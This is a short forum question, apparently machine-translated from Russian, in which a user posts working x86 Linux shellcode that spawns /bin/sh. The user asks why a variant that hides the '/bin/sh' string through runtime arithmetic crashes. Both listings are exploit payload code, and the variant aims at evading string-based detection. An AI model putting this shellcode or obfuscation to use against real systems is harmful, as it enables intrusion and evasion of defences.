У меня есть этот рабочий шелл-код, который порождает оболочку
Я должен изменить его так, чтобы я скрыл "/ bin / sh" или "sh" в любом месте двоичного файла после компиляции. Поэтому я подумал о том, чтобы взять шестнадцатеричное значение / bin / sh (2f 62 69 6e 2f 73 68), добавить к нему какое-нибудь случайное значение, скажем, 0x11111, и переместить это значение в регистр, вычтя 0x11111 во время выполнения, а затем выдвинув это время выполнения, сгенерированное значение (который становится / bin / sh) в стек и делает execv
Но я получаю ошибку сегментации на самом первом шаге. и я не могу понять, почему?
Этот код работает нормально.
section .data
section .text
global _start
_start:
xor eax,eax
cdq
push eax
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0xb
xor edx,edx
int 0x80
Но это изменение вызывает ошибку сегментации
section .data
section .text
global _start
_start:
xor eax,eax
cdq
push eax
mov ecx,0x11111
mov ebx,0x68744040
sub ebx,ecx
push long eax
push long 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0xb
xor edx,edx
int 0x80
Пожалуйста, помогите мне в этом. Будет здорово. Спасибо